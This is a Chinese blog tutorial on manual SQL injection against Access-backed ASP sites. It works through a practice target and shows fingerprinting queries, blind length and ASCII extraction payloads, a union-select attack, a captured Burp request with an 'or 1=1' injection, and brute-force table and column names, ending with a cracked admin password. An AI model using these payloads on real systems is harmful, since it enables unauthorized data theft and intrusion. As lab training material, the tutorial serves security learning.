渗透测试---手把手教你SQL注入(7)---Access数据库注入

tips:手把手教你SQl注入的往期文章点这里:

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/nGVfl

在讨论SQL注入中的Access数据库注入时,首先需要了解Access数据库的一些基本知识。Microsoft Access 是一种关系型数据库管理系统,可用于存储、管理和检索数据。虽然Access通常用于较小的数据库和单服务器环境,但它也可以用于大型企业和互联网应用。

此外,Access与其他数据库管理系统(如MySQL、SQL Server等)在处理SQL注入方面有所不同。

基本流程:

判断数据库类型->判断表名->判断列名->判断列名长度->查出数据

其中,判断表名就不能像MYSQL那样使用截取函数一点点地"试"出来,Access的表名只能使用爆破的方式.

判断数据库类型:

使用asp的网站,常用数据库为accesssqlserver

我们可以通过下面两条语句判断数据库类型:

and exists (select * from msysobjects)>0   access

这个SQL语句的目的是检查msysobjects表是否有任何行返回。
如果存在这样的情况,那么查询结果将为真(即结果大于0)。

and exists (select * from sysobjects)>0      sqlserver

'exists' 是一个SQL关键词,它用来检查子查询是否有返回任何行。
如果子查询返回至少一个行,
那么 'exists' 将会返回真(1),否则它会返回假(0)。

 如下图,结果表明目标服务器使用的是Access数据库(存在msysobjects表)

如下图, 结果表明目标服务器使用的不是sqlserver数据库(不存在sysobjects表)

Access注入---逐字破解法 

这里先给出注入过程中可能遇到的语句,具体的实战演练见下文:

查表:and exists (select * from 表名)

查列:and exists (select 列名 from 表名) //存在就返回正常页面,不存在就报错

查数据:1.确定此条数据字段(列名)长度         2.确定asc数据(ascii编码)


and (select top 1 len(列名) from 表名)=5 //top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度。

and (select top 1 len(列名) from 表名)>5 //判断是不是长度大于5。


and (select top 1 asc(mid(列名,位数,1)) from admin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)

and (select top 1 asc(mid(user,1,1)) from admin)=97 //返回页面正常没有报错,说明user列第一条数据第一位是a,

and (select top 1 asc(mid(user,2,1)) from admin)=97 //user列第2条数据第一位是b....一直猜到len(列名)长度

 在线靶场实战演练:

由于一方找不到合适的离线靶场,这里使用的是"墨者学院"网站中的在线靶场:

墨者学院官网链接

点击启动靶场环境(注册墨者学院账户后会自动赠送12墨币):

 

 访问靶场的IP和端口:

寻找注入点:

寻找注入点不能一蹴而就,首先先做一些简单的测试:

先随便输入一组账号密码,再用BurpSuite抓包试试水,这里试试弱口令admin/admin:

登陆不成功,再试着修改post请求中的参数:

发现无论是那种方式,响应包的长度都没有变化(这里就不放每一步的图了):
name=admin'
name=admin''
name=admin' or 1=1'

 请求包的内容(测试name=admin'+or+1=1):

POST /login.asp HTTP/1.1
Host: 219.153.49.228:46204
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://219.153.49.228:46204
Connection: close
Referer: http://219.153.49.228:46204/
Cookie: ASPSESSIONIDSACBDTRD=BABBAMECNJNBHHDKHGFMGOJL
Upgrade-Insecure-Requests: 1

name=admin'+or+1=1'&password=admin&login=%B5%C7%C2%BC

 响应包的内容(长度依旧没有变化( ̄_ ̄|||)):

HTTP/1.1 200 OK
Connection: close
Date: Mon, 16 Oct 2023 02:06:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 80
Content-Type: text/html
Cache-control: private

<script>alert('�û����������');location='javascript:history.back(-1)';</script>

 似乎没有明显的注入点,先暂时换一换思路,我们来查看一下web页面的源代码:(F12)

在源码里有了意外发现,里面有一个链接"new_list.asp?id=1":

 链接中出现了?id=1,😮要素察觉😮,这里很有可能会是一个注入点!

 接下来依次测试?id=1'  ?id=1'' ?id=1/1 ?id=1/0,最终发现这里极有可能存在数字型的注入!

 找到了注入点,几乎就等于成功一般啦!✌

 接下试着判断数据库类型,(当然,本靶场已经提前知道了是Access数据库):

 发现结果是False,这里很有可能过滤掉了exists等其他函数,这种情况下最省事的方法就是在Access和sqlsever中二选一,不必再费大功夫一点点验证数据库类型!(使用asp的网站,常用数据库为accesssqlserver)

回到靶场上来,我们发现无论结果真假,页面中的红色横线始终存在,说明这条横线起到分割结果的作用,我们可以试试联合注入:

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)

接下来试试联合注入是否可行:

 order by 4时返回正常,order by 5时返回错误,说明后台语句查询的结果有4列,接下来使用

?id=-1 union select 1,2,3,4 from 表名 来找出显示位,由于事先不知道表名,这里需要利用BurpSuite进行爆破来找到一个再数据库中存在的表:

注:在MySQL 中union select 1,2,3,4 后不需要加上表名,但Access中必须加上数据库中存在的表!

 通过BurpSuite来爆破表名:

当然,这里也可以直接靠盲猜,常见的表名有:

admin,admin_user,admin1,user,username,manage,user_name,guanli

 最终得出数据库中存在admin表

 页面的显示位就是后台查询结果中的第2列和第3列:

通过表名获取列名:

既然知道了表名为admin,我们可以试着猜测一下列名,比如user,username,pass,password,passwd,qwe等,不用使用BP爆破:

常用列名如图:

 这里试出了用户名和密码:

对找到的密码进行解密:

解密网站:CMD5.com

 使用获取到的信息进行登陆: moke/27737201

 成功获取靶场的KEY:mozhe7113650916b807feecef54b7dfd

 后续拓展链接:

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇icon-default.png?t=N7T8http://t.csdnimg.cn/3QtB3

Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/BicwG

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
2023-pytorch是一个开源深度学习库,它在计算机视觉领域有广泛的应用。本文将手把手你如何使用CSDN来学习和获取有关2023-pytorch分类的相关资料和程。 首先,在你的浏览器中打开CSDN的官方网站,网址为www.csdn.net。在主页上,你可以看到各种热门的技术文章、博客和论坛。在搜索框中输入"2023-pytorch分类",然后点击搜索按钮。CSDN将会为你展示与该关键词相关的所有内容。 接下来,你可以通过筛选工具来找到特定类型的文章或程。例如,你可以选择只查看博客、文章或程。你还可以选择按照发布时间或热度排序来获取最新或最受欢迎的内容。 当你找到一篇感兴趣的程时,点击进入阅读。通常,程会提供详细的步骤和示例代码,帮助你了解如何使用2023-pytorch进行分类任务。你可以按照程中的指示一步一步地操作,并理解每个步骤的原理和作用。 除了阅读程外,CSDN还提供了一个活跃的技术问答社区。你可以在这里向其他用户提问、讨论问题,或分享你的学习体验和心得。社区中的任何人都可以回答你的问题,所以不要犹豫,积极参与其中。 此外,CSDN还为用户提供了博客功能,你可以创建自己的博客来记录学习过程和分享实践经验。通过写博客,你还可以得到其他人的反馈和建议,不断提升自己的技术水平。 总结起来,要使用CSDN学习和获取有关2023-pytorch分类的相关资料和程,你可以通过搜索功能找到相关内容,阅读程并按照指导一步一步地进行实践,参与技术问答社区以及利用博客功能分享你的学习心得和经验。通过这些途径,你将能够快速掌握2023-pytorch分类的基本原理和应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值